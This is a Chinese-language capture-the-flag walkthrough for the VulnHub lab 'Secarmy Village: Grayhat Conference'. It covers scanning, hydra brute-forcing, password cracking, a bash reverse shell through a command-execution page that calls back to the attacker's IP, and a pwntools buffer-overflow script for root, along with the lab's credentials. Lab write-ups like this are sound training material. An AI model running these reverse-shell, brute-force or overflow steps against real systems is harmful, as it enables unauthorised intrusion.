Secarmy Village: Grayhat Conference靶场

Secarmy Village: Grayhat Conference

来自 <Secarmy Village: Grayhat Conference ~ VulnHub>

1，将两台虚拟机网络连接都改为NAT模式

2，攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182，靶场IP192.168.23.224

3，对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.224

4，尝试匿名访问，发现什么都没有

ftp anonymous@192.168.23.224

访问80端口开放的http服务

对网站存在的隐藏子目录进行扫描

dirb http://192.168.23.224

查看页面源代码得到一些内容（因为文字选择白色所以无法直接看见）

view-source:http://192.168.23.224/anon/

5，再次尝试登录到ftp服务器上，账户密码：uno/luc10r4m0n

下载下来查看内容

get flag1.txt

get readme.txt

得到了flag1和重要提示信息

通过在ftp服务器的信息收集可以知道所有用户名

ls /home

保存成为一个字典，然后进行hydra爆破

hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ftp

hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ssh

甚至可以ssh登录了

6，ftp上线dos用户，password:4b3l4rd0fru705

ftp dos@192.168.23.224 

信息收集发现有两个文件1137.txt和readme.txt，保存下来看看。

然后把巨大的files文件夹里面的内容下载出来

mkdir ftp

cd ftp

prompt

mget *

7，1337.txt提示要通过nc连接靶机的1337端口，我们可以使用该命令来连接，连接后需要token

readme.txt，说需要在files这个目录里的一堆文件中找到有'a8211ac1853a1235d48829414626512a'这字符串。使用python脚本完成

成功找到对应文件

有提示去看file3131.txt，最后是base64编码，将其转换成zip文件

vim encode.txt

cat encode.txt | tr -d '\n' | base64 -d > output.zip

然后读取这些文件

得到了flag2

8，nc连接之后输入我们得到的token:c8e6afe38c2ae9a0283ecfb4e1b7c10f7d96e54c39e727d0e5515ba24a4d1f1b

得到一个账户和密码，登录ftp服务器

tres:r4f43l71n4j3r0

ftp tres@192.168.23.224

下载文件夹下面的三个文件，读取文本文件

已向当前文件夹中的 secarmy-village 二进制文件添加一组条件语句。请逆向该文件并获取第四个用户的凭据。如果访问文件时遇到问题，可前往以下链接下载：

https://mega.nz/file/XodTiCJD#YoLtnkxzRe_BInpX6twDn_LFQaQVnjQufFj3Hn1iEyU

9，upx脱壳文件

upx -d secarmy-village

然后查看文件内容，得到第四个用户名密码

strings secarmy-village

cuatro:p3dr00l1v4r3z

ftp cuatro@192.168.23.224

登录成功下载第四个flag和关键提示

10，根据提示访问网站的一个隐藏目录/justanothergallery

http://192.168.23.224/justanothergallery/

得到一个二维码，第53扫一下即可得到用户密码 cinco:ruy70m35

http://192.168.23.224/justanothergallery/qr/image-53.png

11，ftp服务器访问

ftp cinco@192.168.23.224

下载这两个文件然后读取

然后ssh上线用户

ssh cinco@192.168.23.224

寻找属主属于cinco用户的文件

find / -user cinco 2>/dev/null

先赋予权限给shadow.bak，再通过kali的scp下载它

scp cinco@192.168.23.224:/cincos-secrets/shadow.bak /root/

解密bak文件得到账户和密码 seis:Hogwarts

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.bak

12，使用ftp服务器登录，下载该用户的两个文件

然后读取之

提示访问一个隐藏网页

http://192.168.23.224/shellcmsdashboard/

扫描一下网站子目录

 dirsearch -u http://192.168.23.224/shellcmsdashboard/ -x 404,403

http://192.168.23.224/shellcmsdashboard/robots.txt

得到账户密码访问一下，admin/qwerty

得到一个页面，访问一下

http://192.168.23.224/shellcmsdashboard/aabbzzee.php

发现这个网页存在命令执行漏洞，直接反弹shell

bash -c "bash -i >& /dev/tcp/192.168.23.182/4444 0>&1"

然后kali监听4444端口，成功getshell

13，信息收集一下，得到一个用户名密码

chmod 7777 readme9213.txt

cat readme9213.txt

依然使用hydra进行爆破

hydra -L users.txt -p 6u1l3rm0p3n473 192.168.23.224 ssh

是siete用户的6u1l3rm0p3n473，ftp上线登录一下

都导出来看看

看看文件内容

通过key.txt里的x，十进制为120，对于每个字节，我们执行xor并将得到的结果通过函数chr来转换成字符从而形成字符串

python -c 'print("".join([chr(x ^ 120) for x in bytearray([11,29,27,25,10,21,1,0,23,10,17,12,13,8])]))'

得到了password.zip的解压密码secarmyxoritup

14，依然hydra爆破下一个用户的账户密码

hydra -L users.txt -p m0d3570v1ll454n4 192.168.23.224

ftp ocho@192.168.23.224

然后分析得到的两个文件

wireshark keyboard.pcapng

在过滤器输入http.request.method==GET

有个none.txt，然后追踪流看看内容

把这个密文进行解密 mjwfr?2b6j3a5fx/

Keyboard Shift Cipher - Key Offset - Online Decoder, Translator

拿到下一个用户的账户密码 nueve:355u4z4rc0

15，然后ftp登录下一个用户

下载三个文件，然后读取

16，只要local_10==0xcafebabe即可获得root shell，所以我们要用值覆盖long这个变量，先通过靶机用socat命令开启8000端口监听

socat TCP-LISTEN:8000 EXEC:./orangutan

接着在kali编写py脚本，以相反的顺序发送所需的值，这里借用国外wp的脚本

from pwn import *

offset = b"A" * 24

secret = b"\xbe\xba\xfe\xca"

payload = offset + secret

conn = remote('192.168.23.224',8000)

print(conn.recvline())

print(conn.recvline())

conn.sendline(payload)